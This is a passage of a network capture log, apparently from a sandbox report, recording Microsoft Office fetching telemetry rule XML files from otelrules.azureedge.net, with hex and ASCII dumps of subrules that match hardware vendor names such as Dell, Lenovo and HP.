2024-10-31 16:26:58 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:26:59 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:59 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: fc6998d3-101e-008d-52ad-2692e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162659Z-16849878b786fl7gm2qg4r5y700000000a3g000000006ycn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:26:59 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	62839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:26:58 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:26:59 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:59 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 20969678-a01e-006f-3ab0-2a13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162659Z-17c5cb586f69p7mmw593w958p4000000010g00000000fuwh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:26:59 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	62837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:26:58 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:26:59 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:59 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 9a0790d9-e01e-0052-7cad-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162659Z-16849878b78nzcqcd7bed2fb6n000000026g00000000gxz5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:26:59 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	62840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:26:59 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:26:59 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:59 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 633f9008-101e-00a2-3e9b-279f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162659Z-16849878b782d4lwcu6h6gmxnw00000009a000000000z3a5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:26:59 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	62841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:26:59 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:26:59 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:59 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 39bd4d12-701e-0098-1133-2a395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162659Z-15b8d89586fmc8ck21zz2rtg1w0000000740000000002u1p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:26:59 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	62843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:26:59 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:26:59 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:59 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 8abc48b9-201e-0096-2f4f-28ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162659Z-15b8d89586flspj6y6m5fk442w0000000fs0000000007pgt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:26:59 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	62842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:26:59 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:26:59 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:59 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: a53a16c0-d01e-00ad-32e8-2ae942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162659Z-15b8d89586f5s5nz3ffrgxn5ac0000000af000000000cv5s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 16:26:59 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	62844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:26:59 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:59 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 0d0c59f1-101e-005a-526a-27882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162659Z-17c5cb586f6wnfhvhw6gvetfh4000000098000000000e44g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:00 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	62846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:00 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:00 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 36372762-501e-0078-6258-2b06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162700Z-17c5cb586f672xmrz843mf85fn00000008qg00000000ayhy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:00 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	62847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:00 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:00 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6b0d144c-801e-007b-3a49-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162700Z-16849878b785dznd7xpawq9gcn0000000b3000000000sg1y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:00 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	62848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:00 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:00 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: c8022c20-501e-00a3-08ae-26c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162700Z-16849878b78qf2gleqhwczd21s00000009y000000000k89p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:00 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	62845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:00 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:00 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 3c9c0adf-d01e-0028-0c96-257896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162700Z-16849878b78nzcqcd7bed2fb6n000000024g00000000rcsk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:00 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" 